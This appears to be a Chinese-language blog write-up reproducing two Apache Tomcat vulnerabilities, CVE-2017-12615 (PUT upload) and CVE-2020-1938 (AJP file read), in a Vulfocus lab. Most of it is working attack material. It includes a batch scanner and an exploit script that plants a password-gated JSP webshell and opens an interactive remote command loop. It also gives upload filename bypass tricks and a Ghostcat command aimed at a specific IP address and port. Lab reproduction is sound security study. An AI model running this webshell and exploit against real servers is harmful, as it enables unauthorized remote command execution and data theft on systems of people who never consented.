Tomcat--檔案上傳--檔案包含--(CVE-2017-12615)&&(CVE-2020-1938)
復現環境
採用Vulfocus靶場環境進行復現,搭建操作和文章參考具體搭建教程參考vulfocus不能同步的解決方法/vulfocus同步失敗。
CVE-2017-12615 檔案上傳
漏洞簡介
當存在漏洞的Tomcat執行在Windows/Linux主機上, 且啟用了HTTP PUT請求方法( 例如, 將readonly初始化引數由預設值設定為false) , 攻擊者將有可能可透過精心構造的攻擊請求資料包向伺服器上傳包含任意程式碼的JSP的webshell檔案,JSP檔案中的惡意程式碼將能被伺服器執行, 導致伺服器上的資料洩露或獲取伺服器許可權。
影響範圍
Apache Tomcat 7.0.0 - 7.0.79
漏洞復現
環境啟動後,抓包將GET方法改為PUT方法,將木馬檔案內容放在PUT最後
木馬檔案使用哥斯拉冰蠍等webshell管理工具生成,將檔案內容填入即可。使用工具連線
方法二(適用於Windows系統)
新增檔名2.jsp%20,新增shell指令碼
方法三(適用於Windows系統)
新增檔名3.jsp::$DATA,新增shell指令碼
POC
使用方法
python3 CVE-2017-12615 POC.py -u http://xxxx -p埠
#CVE-2017-12615 POC
__author__ = '紙機'
import requests
import optparse
import os
parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')
options,args = parse.parse_args()
#print(options)
#驗證引數是否完整
if (not options.URL or not options.PORT) and not options.FILE:
print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')
filename = '/hello.jsp'
#測試資料
data = 'hello'
#提交PUT請求
#resp = requests.post(url1,headers=headers,data=data)
#驗證檔案是否上傳成功
#response = requests.get(url2)
#上傳檔案
def upload(url):
try:
response = requests.put(url+filename+'/',data=data)
return 1
except Exception as e:
print("[-] {0} 連線失敗".format(url))
return 0
def checking(url):
try:
#驗證檔案是否上傳成功
response = requests.get(url+filename)
#print(url+filename)
if response.status_code == 200 and 'hello' in response.text:
print('[+] {0} 存在CVE-2017-12615 Tomcat 任意檔案讀寫漏洞'.format(url))
else:
print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意檔案讀寫漏洞'.format(url))
except Exception as e:
#print(e)
print("[-] {0} 連線失敗".format(url))
if options.FILE and os.path.exists(options.FILE):
with open(options.FILE) as f:
urls = f.readlines()
#print(urls)
for url in urls:
url = str(url).replace('\n', '').replace('\r', '').strip()
if upload(url) == 1:
checking(url)
elif options.FILE and not os.path.exists(options.FILE):
print('[-] {0} 檔案不存在'.format(options.FILE))
else:
#上傳連結
url = options.URL+':'+options.PORT
if upload(url) == 1:
checking(url)
EXP
使用方法
python3 CVE-2017-12615 EXP.py -u http://xxxx-p 埠
#CVE-2017-12615 EXP
__author__ = '紙機'
import requests
import optparse
import time
parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
options,args = parse.parse_args()
#驗證引數是否完整
if not options.URL or not options.PORT:
print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')
url = options.URL+':'+options.PORT
filename = '/backdoor.jsp'
payload = filename+'?pwd=023&i='
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
#木馬
data = '''<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>'''
#上傳木馬檔案
def upload(url):
print('[*] 目標地址:'+url)
try:
respond = requests.put(url+filename+'/',headers=headers,data = data)
#print(respond.status_code)
if respond.status_code == 201 or respond.status_code == 204:
#print('[*] 目標地址:'+url)
print('[+] 木馬上傳成功')
except Exception as e:
print('[-] 上傳失敗')
return 0
#命令執行
def attack(url,cmd):
try:
respond = requests.get(url+payload+cmd)
if respond.status_code == 200:
print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())
except Exception as e:
print('[-] 命令執行錯誤')
if upload(url) == 0:
exit()
time.sleep(0.5)
print('輸入執行命令(quit退出):')
while(1):
cmd = input('>>>')
if(cmd == 'quit'):
break
attack(url,cmd)
CVE-2020-1938 檔案包含
漏洞簡介
Apache Tomcat AJP協議(預設8009埠)由於存在實現缺陷導致相關引數可控,攻擊者利用該漏洞可透過構造特定引數,讀取伺服器webapp目錄下的任意檔案。若伺服器端同時存在檔案上傳功能,攻擊者可進一步結合檔案包含實現遠端程式碼的執行
影響範圍
Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31
漏洞復現
只要使用了tomcat中介軟體,並使用了AJP協議(預設埠8009),符合漏洞版本就可以嘗試復現。
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 47.98.193.176 -p 35839 -f WEB-INF/web.xml
-f引數選擇要包含的檔案
以上內容僅作學習記錄,如有錯誤或瑕疵,歡迎批評指正,感謝閱讀。